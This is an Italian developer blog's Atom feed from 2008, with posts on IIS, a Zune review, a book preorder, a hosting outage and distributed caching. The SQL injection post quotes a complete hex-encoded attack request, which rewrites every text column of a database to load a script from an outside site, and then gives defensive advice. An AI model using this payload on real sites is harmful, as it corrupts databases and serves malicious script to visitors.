href=&quot;http://tags.aspitalia.com/ASPItalia.com/&quot; rel=&quot;tag&quot;&gt;ASPItalia.com&lt;/a&gt;&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;a href=&quot;http://www.aspitalia.com/&quot;&gt;(C) 2008 ASPItalia.com Network - All rights reserved&lt;/a&gt;&lt;/p&gt;</content><link rel="alternate" type="text/html" href="http://blogs.aspitalia.com/daniele/post2327/10annidi.ASPItalia.com-Community-Premia.aspx"/><issued>2008-07-16T16:42:00+00:00</issued><modified>2008-07-16T16:42:00+00:00</modified><slash:comments>3</slash:comments><wfw:comments>http://blogs.aspitalia.com/daniele/post2327/10annidi.ASPItalia.com-Community-Premia.aspx#feedback</wfw:comments><wfw:commentRss>http://blogs.aspitalia.com/daniele/CommentRSS2327.aspx</wfw:commentRss><trackback:ping>http://blogs.aspitalia.com/services/trackback.aspx?PostID=2327</trackback:ping></entry><entry><title>Usare IIS 7 come reverse proxy</title><id>http://blogs.aspitalia.com/daniele/post2315/Usare-IIS-Reverse-Proxy.aspx</id><created>2008-07-10T08:41:00+00:00</created><content type="text/html" mode="escaped">&lt;img src='http://blogs.aspitalia.com/services/counter_rss.aspx?PostID=2315' border=&quot;0&quot; style=&quot;width:1px; height:1px;&quot; /&gt;&lt;p&gt;E' una delle cose che con IIS 6 non si pu&#242; fare facilmente (bisogna cio&#232; scriversi un bel filtro ISAPI in C++) e che IIS 7.0 ha tra la miriade di estensioni che stanno uscendo.&lt;/p&gt;&lt;p&gt;Il reverse proxy &#232; la possibilit&#224; di &amp;quot;rigirare&amp;quot; le richieste ad un altro application server interno, ad esempio basato su Apache o sempre su IIS, &amp;quot;mappando&amp;quot; la richiesta su un URL diverso.&lt;/p&gt;&lt;p&gt;Il tipico scenario &#232; l'url &lt;a href=&quot;http://www.miosito.ext/fatture/&quot;&gt;http://www.miosito.ext/fatture/&lt;/a&gt; che in realt&#224; richiama internamente il nodo &lt;a href=&quot;http://fatture:8080/&quot;&gt;http://fatture:8080/&lt;/a&gt;, senza che per&#242; effettivamente l'utente se ne accorga. Questo consente di gestire la sicurezza del nodo interno e garantirne l'accesso secondo policy diverse (sempre in ottica di IIS 7, le cose che si possono fare sono davvero tante).&lt;/p&gt;&lt;p&gt;Questa nuova extension, chiamata &lt;strong&gt;&lt;a href=&quot;http://learn.iis.net/page.aspx/489/using-the-application-request-routing-module/&quot; target=&quot;_blank&quot;&gt;Application Request Routing&lt;/a&gt;&lt;/strong&gt;, fa il paio con il nuovo &lt;a href=&quot;http://learn.iis.net/page.aspx/460/using-url-rewrite-module/&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;Url Rewrite Module&lt;/strong&gt;&lt;/a&gt;&#160;e sono stati rilasciati in CTP da poche settimane. Dategli un'occhiata!&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Tags:&lt;/strong&gt; &lt;a href=&quot;http://tags.aspitalia.com/IIS/&quot; rel=&quot;tag&quot;&gt;IIS&lt;/a&gt;, &lt;a href=&quot;http://tags.aspitalia.com/ISAPI/&quot; rel=&quot;tag&quot;&gt;ISAPI&lt;/a&gt;, &lt;a href=&quot;http://tags.aspitalia.com/Windows_Server/&quot; rel=&quot;tag&quot;&gt;Windows Server&lt;/a&gt;&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;a href=&quot;http://www.aspitalia.com/&quot;&gt;(C) 2008 ASPItalia.com Network - All rights reserved&lt;/a&gt;&lt;/p&gt;</content><link rel="alternate" type="text/html" href="http://blogs.aspitalia.com/daniele/post2315/Usare-IIS-Reverse-Proxy.aspx"/><issued>2008-07-10T10:41:00+00:00</issued><modified>2008-07-10T10:41:00+00:00</modified><slash:comments>0</slash:comments><wfw:comments>http://blogs.aspitalia.com/daniele/post2315/Usare-IIS-Reverse-Proxy.aspx#feedback</wfw:comments><wfw:commentRss>http://blogs.aspitalia.com/daniele/CommentRSS2315.aspx</wfw:commentRss><trackback:ping>http://blogs.aspitalia.com/services/trackback.aspx?PostID=2315</trackback:ping></entry><entry><title>Lo Zune 2 non &amp;#232; poi cos&amp;#236; male</title><id>http://blogs.aspitalia.com/daniele/post2313/Zune-Poi-Cosi-Male.aspx</id><created>2008-07-08T14:11:00+00:00</created><content type="text/html" mode="escaped">&lt;img src='http://blogs.aspitalia.com/services/counter_rss.aspx?PostID=2313' border=&quot;0&quot; style=&quot;width:1px; height:1px;&quot; /&gt;&lt;p&gt;Non amo molto i player MP3, perch&#232; alla fine preferisco usare il palmare o un PC, per&#242; visto che c'ero e che l'estate si avvicina (non le vacanze, purtroppo), mi sono procurato uno Zune 2, di &lt;a href=&quot;http://www.zune.net/en-US/products/zune4gb8gb/default.htm&quot; target=&quot;_blank&quot;&gt;quelli da 8 GB&lt;/a&gt;, black perch&#232; l'unico colore con stile dalle mie parti &#232; il nero, con un po' di alluminio dove serve. E l'ho spacciato come regalo ad Alessio, che pare gradire :)&lt;/p&gt;&lt;p&gt;Le prime impressioni sono ottime, perch&#232; il design &#232; molto curato. L'avevo gi&#224; provato per qualche minuto in USA, perch&#232; in Europa non si trova, e mi aveva convinto la facilit&#224; del software. In effetti basta installarlo scaricandolo da Internet e tutto viene configurato. Il software &#232; molto curato e pare un parente buono di quello per sincronizzare con Windows Mobile. Ed in effetti funziona meglio :)&lt;/p&gt;&lt;p&gt;I&#160;soliti hack per vederlo come disco USB e far fare il transcoding di qualsiasi cosa (sopratutto video) completano il resto. E si possono trovare via Google con facilit&#224;.&lt;/p&gt;&lt;p&gt;Le cose che mi hanno lasciato ben impressionato sono la parte di sincronizzazione (ITunes lo reputo una prova di software, molto instabile), che funziona molto bene, e le funzioni social. Non ho ovviamente nessuno intorno a me con cui provarle, per&#242; la &lt;strong&gt;sincronia via WiFi&lt;/strong&gt; a PC spento (con i file sullo storage) &#232; fantastica. Interessante anche il touch pad che consente di non usare il click per navigare tra i menu.&lt;/p&gt;&lt;p&gt;Le cose che non mi piacciono sono essenzialmente rincoducibili al fatto che la ricezione radio FM &#232; scarsa e che manca un equalizzatore, che invece la v1 aveva (e che era orrido in quanto a design).&lt;/p&gt;&lt;p&gt;Per il resto, la scritta &amp;quot;Hello from Seattle&amp;quot; sul retro ed un case molto robusto fanno il resto. Se vi serve un lettore MP3 che possa anche far vedere video e foto ad una discreta risoluzione (e si integra con MCE e XBox 360) e, soprattutto, abbia una sincronia via WiFi, questo pu&#242; davvero fare al caso vostro. Mi ha positivamente impressionato.&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;a href=&quot;http://www.aspitalia.com/&quot;&gt;(C) 2008 ASPItalia.com Network - All rights reserved&lt;/a&gt;&lt;/p&gt;</content><link rel="alternate" type="text/html" href="http://blogs.aspitalia.com/daniele/post2313/Zune-Poi-Cosi-Male.aspx"/><issued>2008-07-08T16:11:00+00:00</issued><modified>2008-07-08T16:11:00+00:00</modified><slash:comments>0</slash:comments><wfw:comments>http://blogs.aspitalia.com/daniele/post2313/Zune-Poi-Cosi-Male.aspx#feedback</wfw:comments><wfw:commentRss>http://blogs.aspitalia.com/daniele/CommentRSS2313.aspx</wfw:commentRss><trackback:ping>http://blogs.aspitalia.com/services/trackback.aspx?PostID=2313</trackback:ping></entry><entry><title>Buoni Community Days 2008, anche senza di me!</title><id>http://blogs.aspitalia.com/daniele/post2310/Buoni-Community-Days-2008-ME.aspx</id><created>2008-07-07T09:14:00+00:00</created><content type="text/html" mode="escaped">&lt;img src='http://blogs.aspitalia.com/services/counter_rss.aspx?PostID=2310' border=&quot;0&quot; style=&quot;width:1px; height:1px;&quot; /&gt;&lt;p&gt;Per causa di forza maggiore (circa 3,3 kg che impegnano non poco giorno e notte&#160;:D), dovr&#242; saltare i Community Days 2008. Durante la fase di pianificazione lo sapevamo e l'avevamo messo in conto, ecco perch&#232; le mie sessioni erano (quasi) tutte in coppia, cos&#236; lo speaker di backup me lo trovavo gi&#224; in casa :)&lt;/p&gt;&lt;p&gt;Per cui, le sessioni in coppia con &lt;a href=&quot;http://blogs.aspitalia.com/ricciolo/&quot;&gt;Cristian&lt;/a&gt; su SL 2.0 e Single Sign On restano a lui. Quella su ASP.NET 3.5 SP1 passa a &lt;a href=&quot;http://blogs.aspitalia.com/SM15455/&quot;&gt;Stefano&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;Stefano e Cristian mi sostituiranno, quali miei vice, anche nelle sessioni di apertura.&lt;/p&gt;&lt;p&gt;Mi spiace non aver dedicato alla cosa il tempo che meritava, ma sono certo che vi divertirete anche senza di me! :)&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Tags:&lt;/strong&gt; &lt;a href=&quot;http://tags.aspitalia.com/ASPItalia.com/&quot; rel=&quot;tag&quot;&gt;ASPItalia.com&lt;/a&gt;&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;a href=&quot;http://www.aspitalia.com/&quot;&gt;(C) 2008 ASPItalia.com Network - All rights reserved&lt;/a&gt;&lt;/p&gt;</content><link rel="alternate" type="text/html" href="http://blogs.aspitalia.com/daniele/post2310/Buoni-Community-Days-2008-ME.aspx"/><issued>2008-07-07T11:14:00+00:00</issued><modified>2008-07-07T11:14:00+00:00</modified><slash:comments>2</slash:comments><wfw:comments>http://blogs.aspitalia.com/daniele/post2310/Buoni-Community-Days-2008-ME.aspx#feedback</wfw:comments><wfw:commentRss>http://blogs.aspitalia.com/daniele/CommentRSS2310.aspx</wfw:commentRss><trackback:ping>http://blogs.aspitalia.com/services/trackback.aspx?PostID=2310</trackback:ping></entry><entry><title>Il nostro nuovo imminente libro in prenotazione: ASP.NET 3.5 per tutti</title><id>http://blogs.aspitalia.com/daniele/post2303/Imminente-Libro-Prenotazione-ASP.NET-3.5.aspx</id><created>2008-07-01T13:05:00+00:00</created><content type="text/html" mode="escaped">&lt;img src='http://blogs.aspitalia.com/services/counter_rss.aspx?PostID=2303' border=&quot;0&quot; style=&quot;width:1px; height:1px;&quot; /&gt;&lt;p&gt;Ci abbiamo messo un po' per deciderci perch&#232; sapevamo da gennaio, sotto NDA, che per l'estate avremmo avuto il Service Pack 1 (e che SP!) e quindi volevamo fare un libro che fosse il pi&#249; completo ed aggiornato possibile, senza avere il problema della prima edizione di ASP.NET 2.0 per tutti, che era basato su ATLAS (ed il resto &#232; storia).&lt;/p&gt;&lt;p&gt;Comunque, quasi &lt;strong&gt;600 pagine di libro&lt;/strong&gt;, &lt;strong&gt;27 capitoli&lt;/strong&gt;, contenuti rivisti, sistemati ed adattati perch&#232; possano coprire ASP.NET dalla versione 1.0 alla 3.5. Troverete, cio&#232;, spiegato sempre quando una certa funzionalit&#224; &#232; nuova, migliorata, riadattata e da quale versione potete usarla.&lt;/p&gt;&lt;p&gt;Sappiamo bene che uno dei difetti di ASP.NET 2.0 per tutti &#232; la parte di &lt;strong&gt;accesso ai dati&lt;/strong&gt;, per questo abbiamo deciso di rifarla da zero, espanderla ed andare al cuore di quello che cercate: come si usano i controlli in casi reali, con approfondimenti e dovizia di particolari.&lt;/p&gt;&lt;p&gt;Ed ovviamente abbiamo messo &lt;strong&gt;LINQ&lt;/strong&gt;, &lt;strong&gt;LINQ to SQL&lt;/strong&gt;, &lt;strong&gt;ASP.NET MVC&lt;/strong&gt;, &lt;strong&gt;Dynamic Data Controls&lt;/strong&gt;, &lt;strong&gt;AJAX&lt;/strong&gt; (rifatto da zero), una parte sull'&lt;strong&gt;architettura&lt;/strong&gt;, la &lt;strong&gt;sicurezza&lt;/strong&gt;&#160;e tante altre belle cose che potete leggere nel &lt;a href=&quot;http://books.aspitalia.com/ASP.NET-3.5/&quot;&gt;TOC&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;Fino a settembre &#232; in prenotazione libera (potete cio&#232; confermare l'acquisto quando uscir&#224;) al prezzo di &lt;strong&gt;39,90 Euro spese di spedizione incluse&lt;/strong&gt;, praticamente al prezzo netto di copertina. Ci sono gi&#224; un bel po' di preordini, date uno sguardo al TOC, se avete dubbi chiedete e se gli argomenti vi piacciono, &lt;a href=&quot;http://books.aspitalia.com/ASP.NET-3.5/&quot;&gt;prenotatene una&lt;/a&gt; ;)&lt;/p&gt;&lt;p&gt;Non appena saranno disponibili le prime copie, ovviamente, sarete contattati per poter confermare la vostra al prezzo bloccato. Per qualsiasi domanda o dubbio, io, &lt;a href=&quot;http://blogs.aspitalia.com/ricciolo/&quot;&gt;Cristian&lt;/a&gt;, &lt;a href=&quot;http://blogs.aspitalia.com/SM15455/&quot;&gt;Stefano&lt;/a&gt; e &lt;a href=&quot;http://blogs.aspitalia.com/rickyvr/&quot;&gt;Riccardo&lt;/a&gt; siamo a vostra disposizione ;)&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Tags:&lt;/strong&gt; &lt;a href=&quot;http://tags.aspitalia.com/ASP.NET/&quot; rel=&quot;tag&quot;&gt;ASP.NET&lt;/a&gt;, &lt;a href=&quot;http://tags.aspitalia.com/ASP.NET_2.0/&quot; rel=&quot;tag&quot;&gt;ASP.NET 2.0&lt;/a&gt;, &lt;a href=&quot;http://tags.aspitalia.com/ASP.NET_2.0_per_tutti/&quot; rel=&quot;tag&quot;&gt;ASP.NET 2.0 per tutti&lt;/a&gt;, &lt;a href=&quot;http://tags.aspitalia.com/ASP.NET_3.5/&quot; rel=&quot;tag&quot;&gt;ASP.NET 3.5&lt;/a&gt;, &lt;a href=&quot;http://tags.aspitalia.com/ASP.NET_3.5_per_tutti/&quot; rel=&quot;tag&quot;&gt;ASP.NET 3.5 per tutti&lt;/a&gt;, &lt;a href=&quot;http://tags.aspitalia.com/ASP.NET_AJAX/&quot; rel=&quot;tag&quot;&gt;ASP.NET AJAX&lt;/a&gt;, &lt;a href=&quot;http://tags.aspitalia.com/ASP.NET_MVC/&quot; rel=&quot;tag&quot;&gt;ASP.NET MVC&lt;/a&gt;, &lt;a href=&quot;http://tags.aspitalia.com/ASPItalia.com/&quot; rel=&quot;tag&quot;&gt;ASPItalia.com&lt;/a&gt;&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;a href=&quot;http://www.aspitalia.com/&quot;&gt;(C) 2008 ASPItalia.com Network - All rights reserved&lt;/a&gt;&lt;/p&gt;</content><link rel="alternate" type="text/html" href="http://blogs.aspitalia.com/daniele/post2303/Imminente-Libro-Prenotazione-ASP.NET-3.5.aspx"/><issued>2008-07-01T15:05:00+00:00</issued><modified>2008-07-01T15:05:00+00:00</modified><slash:comments>6</slash:comments><wfw:comments>http://blogs.aspitalia.com/daniele/post2303/Imminente-Libro-Prenotazione-ASP.NET-3.5.aspx#feedback</wfw:comments><wfw:commentRss>http://blogs.aspitalia.com/daniele/CommentRSS2303.aspx</wfw:commentRss><trackback:ping>http://blogs.aspitalia.com/services/trackback.aspx?PostID=2303</trackback:ping></entry><entry><title>Cosa fare se la vostra applicazione ASP o ASP.NET &amp;#232; vittima di SQL injection</title><id>http://blogs.aspitalia.com/daniele/post2299/Fare-Applicazione-ASP-ASP.NET-Vittima-SQL-Injection.aspx</id><created>2008-06-26T06:42:00+00:00</created><content type="text/html" mode="escaped">&lt;img src='http://blogs.aspitalia.com/services/counter_rss.aspx?PostID=2299' border=&quot;0&quot; style=&quot;width:1px; height:1px;&quot; /&gt;&lt;p&gt;Era un po' che mi aspettavo una forma di attacco basata su questo tipo di injection, meno sofisticata di un apice ma nemmeno tanto assurda. In pratica, ci sono bot in giro che mandano una serie di chiamate a pagine web che accettano parametri in querystring, cercando in tutti i modi di bypassare i normali controlli che lo sviluppatore fa. E' dai tempi del &lt;a href=&quot;http://www.dotnetcircle.it/firenze.aspx&quot; target=&quot;_blank&quot;&gt;Whidbey and Security Day&lt;/a&gt; che cerco di dire che fare solo replace non &#232; la soluzione migliore e che i parametri in input vanno sempre controllati formalmente prima di fare una query.&lt;/p&gt;&lt;p&gt;La tecnica sfrutta questo genere di chiamata:&lt;/p&gt;&lt;p&gt;&lt;code&gt;Uri?p=2;DECLARE @S VARCHAR(4000);SET @S=CAST(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F7777772E617070696433372E636F6D2F622E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F7220 AS VARCHAR(4000));EXEC(@S);--&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Ne sto loggando a centinaia e vengono da indirizzi IP diversi, quasi mai lo stesso, quindi bloccarli serve a poco. Viene iniettato in tutti i campi un particolare codice Javascript e gli effetti sono che si stima che circa 500 mila siti sono stati colpiti.&lt;/p&gt;&lt;p&gt;Come ci si pu&#242; proteggere? Nel caso di applicazioni &lt;strong&gt;Classic ASP&lt;/strong&gt;, la cosa pi&#249; semplice &#232; installare (o farsi installare, se si &#232; in hosting) &lt;strong&gt;UrlScan&lt;/strong&gt;, filtrando una serie di sequenze. La versione 3.0 beta, uscita in questi giorni, riesce finalmente a filtrare anche la querystring, cosa che la versione 2.5, l'ultima stabile, non fa. Maggiori dettagli &lt;a href=&quot;http://weblogs.asp.net/steveschofield/archive/2008/06/24/urlscan-3-0-help-with-sql-injection-attacks.aspx&quot; target=&quot;_blank&quot;&gt;qui&lt;/a&gt;. Se poi si usa un include e non si pu&#242; sfruttare UrlScan, si pu&#242; fare un banale ciclo sui campi in input e bloccare se si trovano determinati pezzi nella querystring o nel body (per intercettare anche quelle inviate con metodo POST).&lt;/p&gt;&lt;p&gt;Per &lt;strong&gt;ASP.NET&lt;/strong&gt; la cosa &#232; pi&#249; semplice, visto che si possono usare le query parametriche con maggiore facilit&#224;, come spiegato in questo &lt;a href=&quot;http://www.aspitalia.com/articoli/asp.net2/aspnet-security.aspx&quot;&gt;nostro articolo&lt;/a&gt;&#160;e relativa &lt;a href=&quot;http://www.aspitalia.com/articoli/asp.net2/aspnet-security-2.aspx&quot;&gt;seconda parte&lt;/a&gt;. L'equivalente di UrlScan, che resta una possibilit&#224; anche per ASP.NET, &#232; quella di farsi un HttpModule che filtri l'input che arriva da GET o POST, di cui riporto uno stralcio:&lt;/p&gt;&lt;p&gt;In tutti i casi riscrivere lo strato di accesso ai dati perch&#232; faccia controlli sul tipo di dato che arriva (se &#232; un ID numerico, controllare sempre che sia un intero, controllare sempre la lunghezza, etc) &#232; decisamente la cosa migliore, ma mi rendo conto che, specie per applicazioni Classic ASP scritte mezzo secolo (di internet time) fa non &#232; sempre una cosa fattibile.&lt;/p&gt;&lt;p&gt;Ancora una volta, la sicurezza va presa in maniera seria, come fondamento di un'applicazione e non come un optional.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Tags:&lt;/strong&gt; &lt;a href=&quot;http://tags.aspitalia.com/ASP/&quot; rel=&quot;tag&quot;&gt;ASP&lt;/a&gt;, &lt;a href=&quot;http://tags.aspitalia.com/ASP.NET/&quot; rel=&quot;tag&quot;&gt;ASP.NET&lt;/a&gt;, &lt;a href=&quot;http://tags.aspitalia.com/Security/&quot; rel=&quot;tag&quot;&gt;Security&lt;/a&gt;&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;a href=&quot;http://www.aspitalia.com/&quot;&gt;(C) 2008 ASPItalia.com Network - All rights reserved&lt;/a&gt;&lt;/p&gt;</content><link rel="alternate" type="text/html" href="http://blogs.aspitalia.com/daniele/post2299/Fare-Applicazione-ASP-ASP.NET-Vittima-SQL-Injection.aspx"/><issued>2008-06-26T08:42:00+00:00</issued><modified>2008-06-26T08:42:00+00:00</modified><slash:comments>1</slash:comments><wfw:comments>http://blogs.aspitalia.com/daniele/post2299/Fare-Applicazione-ASP-ASP.NET-Vittima-SQL-Injection.aspx#feedback</wfw:comments><wfw:commentRss>http://blogs.aspitalia.com/daniele/CommentRSS2299.aspx</wfw:commentRss><trackback:ping>http://blogs.aspitalia.com/services/trackback.aspx?PostID=2299</trackback:ping></entry><entry><title>I motivi ufficiali del nostro blocco</title><id>http://blogs.aspitalia.com/daniele/post2296/Motivi-Ufficiali-Blocco.aspx</id><created>2008-06-16T07:59:00+00:00</created><content type="text/html" mode="escaped">&lt;img src='http://blogs.aspitalia.com/services/counter_rss.aspx?PostID=2296' border=&quot;0&quot; style=&quot;width:1px; height:1px;&quot; /&gt;&lt;p&gt;Ci tengo a scrivere due righe perch&#232; sono in tanti a chiedermi &lt;strong&gt;come mai siamo stati fermi per una settimana esatta&lt;/strong&gt;.&lt;/p&gt;&lt;p&gt;I motivi ufficiali sono semplici: &lt;strong&gt;hanno chiuso i rubinetti al nostro precedente provider&lt;/strong&gt;, ITHost. Il tempo che siamo stati offline &#232; dovuto al recupero e messa in piedi di un nuovo server, che ha impiegato da luned&#236; a mercoled&#236; scorso, ed al setup di tutto, che&#160;&#232; partito&#160;gioved&#236;&#160;ed &#232; tutt'ora in corso. Il problema grande &#232; che abbiamo un sistema talmente complesso che rimetterlo in piedi da un'altra parte non &#232; affatto banale. Al momento qualcosa ancora non funziona come dovrebbe e stiamo cercando di sistemarla, ma la maggior parte delle aree e funzionalit&#224; &#232; su e va bene.&lt;/p&gt;&lt;p&gt;Il motivo di tutto questo tempo &#232; che abbiamo pi&#249; di 20 domini (tra le permutazioni ed altri di &amp;quot;servizio&amp;quot;), una 40ina di siti (che per fortuna ho migrato grazie ad un backup del metabase, ma IIS non ha niente di automatizzato per cui vanno importati a mano...), diverse caselle di posta, 2 database per oltre 1 GB di roba e quasi 2 GB di roba web. Morale, in questi giorni ho dormito personalmente molto poco, ma ne &#232; valsa la pena perch&#232; ora abbiamo un server di tutto rispetto.&lt;/p&gt;&lt;p&gt;Per la cronaca, &lt;strong&gt;questa migrazione era prevista&lt;/strong&gt; perch&#232; era un po' che l'avevamo deciso, spinti da diversi problemi tecnici degli ultimi tempi. L'avremmo fatta ad agosto, anzich&#232; ora, per motivi miei personali che fanno s&#236; che questo periodo non fosse proprio quello pi&#249; indicato. Ad ogni modo, &#232; fatta.&lt;/p&gt;&lt;p&gt;A questo punto, due note personali, che ci tengo a riportare, perch&#232; in molti in questi giorni mi stanno contattando.&lt;/p&gt;&lt;p&gt;Punto numero uno: &lt;strong&gt;io non mi reputo e mai mi sono reputato amico di Christian Paparelli&lt;/strong&gt;. Il nostro era un rapporto commerciale, di cordialit&#224;, per cui se capitava di andare a cena fuori, di certo non ci si evitava. Ma non l'ho mai considerato un amico e quindi non mi sento pi&#249; &amp;quot;fregato&amp;quot; rispetto ad altri. Il mio errore, personale, &#232; stato quello di fidarmi delle sue rassicurazioni, ma se si toglie anche la fiducia verso il prossimo, ad un uomo rimane poco. Ad ogni modo, da oggi ho capito che un fornitore deve essere il pi&#249; grande possibile. Ti tratta come un numero, ma non fa differenze e per questo &#232; preciso. Avere un fornitore piccolo ha i suoi vantaggi, tipicamente quello di essere trattati meglio, ma ha anche questo tipo di svantaggi.&lt;/p&gt;&lt;p&gt;Punto numero due: ovviamente &lt;strong&gt;Christian non fa parte del nostro staff&lt;/strong&gt;. In passato ha fatto qualche speech per noi e prodotto un po' di contenuti, ma non ha mai preso parte a decisioni n&#232; gestito aree o contenuti. Il Cristian, senza h, che c'era nella pagina temporanea &#232; &lt;a href=&quot;http://blogs.aspitalia.com/ricciolo/&quot;&gt;Ricciolo&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;Punto numero tre: proprio per via del punto numero 1 e 2,&lt;strong&gt; io non ho nessun contatto &amp;quot;segreto&amp;quot; con Christian&lt;/strong&gt;, quindi non posso aiutare nessuno a rientrare in possesso di quanto &#232; sui server. Difatti anche noi, non potendo fare un backup giornaliero della roba (3 GB al giorno non si spostano cos&#236; facilmente...), abbiamo perso diversi pezzetti che cercheremo di ricostruire.&lt;/p&gt;&lt;p&gt;Punto numero quattro: &lt;strong&gt;ASPItalia.com non c'entra niente con ITHost&lt;/strong&gt;. Era un nostro sponsor, punto.&lt;/p&gt;&lt;p&gt;Ed infine, i ringraziamenti a tutti sono d'obbligo. Per prima cosa, ovviamente, &lt;a href=&quot;http://blogs.aspitalia.com/ryckyvr/&quot;&gt;Riccardo&lt;/a&gt;, &lt;a href=&quot;http://blogs.aspitalia.com/ricciolo/&quot;&gt;Cristian&lt;/a&gt;, &lt;a href=&quot;http://blogs.aspitalia.com/SM15455/&quot;&gt;Stefano&lt;/a&gt;, &lt;a href=&quot;http://blogs.aspitalia.com/nostromo/&quot;&gt;Marco&lt;/a&gt;, &lt;a href=&quot;http://blogs.aspitalia.com/novecento/&quot;&gt;Alessio&lt;/a&gt;&#160;ed il mitico &lt;a href=&quot;http://blogs.aspitalia.com/imperugo/&quot;&gt;Ugo&lt;/a&gt;. Sostegno morale, lavoro per riallineare i vecchi backup e ricostruire alcune sezioni, compagnia nelle notti per rimettere tutto su. Mitici, come sempre.&lt;/p&gt;&lt;p&gt;Grazie anche a &lt;a href=&quot;http://www.register.it/&quot; target=&quot;_blank&quot;&gt;Register.it&lt;/a&gt;, che da qualche giorno &#232; il nostro nuovo fornitore.&lt;/p&gt;&lt;p&gt;Un grazie poi a &lt;a href=&quot;http://essepunto.it/&quot; target=&quot;_blank&quot;&gt;Stefano&lt;/a&gt;, &lt;a href=&quot;http://blogs.dotnethell.it/obiwan/&quot; target=&quot;_blank&quot;&gt;Obi&lt;/a&gt;, &lt;a href=&quot;http://blogs.ugidotnet.org/pape/&quot; target=&quot;_blank&quot;&gt;Andrea&lt;/a&gt;, &lt;a href=&quot;http://blogs.ugidotnet.org/raffaele/&quot;&gt;Raf&lt;/a&gt; ed &lt;a href=&quot;http://blogs.technet.com/alead_msft/&quot; target=&quot;_blank&quot;&gt;Ale&lt;/a&gt; per l'appoggio e l'aiuto. In particolare ad Andrea che ha ospitato la landing page intanto che il server fosse tu ed a Stefano per averci fatto usare il server come disco di &amp;quot;backup&amp;quot; :)&lt;/p&gt;&lt;p&gt;E grazie a tutti quelli che hanno avuto una parola di conforto e si sono offerti di dare una mano, che sono tanti, davvero tanti e pi&#249; di quelli che uno possa sperare. E' bello ritrovarsi in una community (allargata) come questa! E finalmente possiamo dirlo: &lt;strong&gt;siamo tornati&lt;/strong&gt;! :)&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Tags:&lt;/strong&gt; &lt;a href=&quot;http://tags.aspitalia.com/ASPItalia.com/&quot; rel=&quot;tag&quot;&gt;ASPItalia.com&lt;/a&gt;&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;a href=&quot;http://www.aspitalia.com/&quot;&gt;(C) 2008 ASPItalia.com Network - All rights reserved&lt;/a&gt;&lt;/p&gt;</content><link rel="alternate" type="text/html" href="http://blogs.aspitalia.com/daniele/post2296/Motivi-Ufficiali-Blocco.aspx"/><issued>2008-06-16T09:59:00+00:00</issued><modified>2008-06-16T09:59:00+00:00</modified><slash:comments>9</slash:comments><wfw:comments>http://blogs.aspitalia.com/daniele/post2296/Motivi-Ufficiali-Blocco.aspx#feedback</wfw:comments><wfw:commentRss>http://blogs.aspitalia.com/daniele/CommentRSS2296.aspx</wfw:commentRss><trackback:ping>http://blogs.aspitalia.com/services/trackback.aspx?PostID=2296</trackback:ping></entry><entry><title>Velocity: ADO.NET Distributed Cache</title><id>http://blogs.aspitalia.com/daniele/post2295/Velocity-ADO.NET-Distributed-Cache.aspx</id><created>2008-06-05T11:22:00+00:00</created><content type="text/html" mode="escaped">&lt;img src='http://blogs.aspitalia.com/services/counter_rss.aspx?PostID=2295' border=&quot;0&quot; style=&quot;width:1px; height:1px;&quot; /&gt;&lt;p&gt;Cosa ci fate con SQL Server 2008, Sync Framework ed i SQL Server Data Services? Una cache distribuita per ADO.NET. Mancava, si possono usare alternative, ma meglio cos&#236;. La presentazione ufficiale di &lt;strong&gt;Velocity&lt;/strong&gt; &#232; stata fatta durante il TechEd US. Maggiori dettagli &lt;a target=&quot;_blank&quot; href=&quot;http://msdn.microsoft.com/en-us/data/cc655792.aspx&quot;&gt;qui&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;Ovviamente &#232; tutto fatto a provider (c'&#232; una classe ad hoc, &lt;strong&gt;CacheFactory&lt;/strong&gt;). Per quanto si sa ora, il supporto per &lt;strong&gt;ASP.NET&lt;/strong&gt; sar&#224; fornito sia per quanto riguarda la &lt;strong&gt;Cache&lt;/strong&gt; con con un provider specifico per &lt;strong&gt;Session&lt;/strong&gt;. La scalabit&#224; di soluzioni del genere, &#232; imparagonabile, sul progetto &lt;a target=&quot;_blank&quot;  href=&quot;http://www.mtv.it/&quot;&gt;MTV&lt;/a&gt; grazie all'uso di &lt;strong&gt;ScaleOut&lt;/strong&gt;, che offre un sistema simile, le performance per quanto riguarda l'accesso alla Cache, condivisa dai nodi del cluster, sono ineguagliabili. L'unica differenza &#232; che ScaleOut non &#232; gratis, Velocity molto probabilmente sar&#224; gi&#224; integrato :)&lt;/p&gt;&lt;p&gt;Il download della CTP&#160;&lt;a href=&quot;http://www.microsoft.com/downloads/details.aspx?FamilyId=B24C3708-EEFF-4055-A867-19B5851E7CD2&amp;amp;displaylang=en&quot; target=&quot;_blank&quot;&gt;qui&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Tags:&lt;/strong&gt; 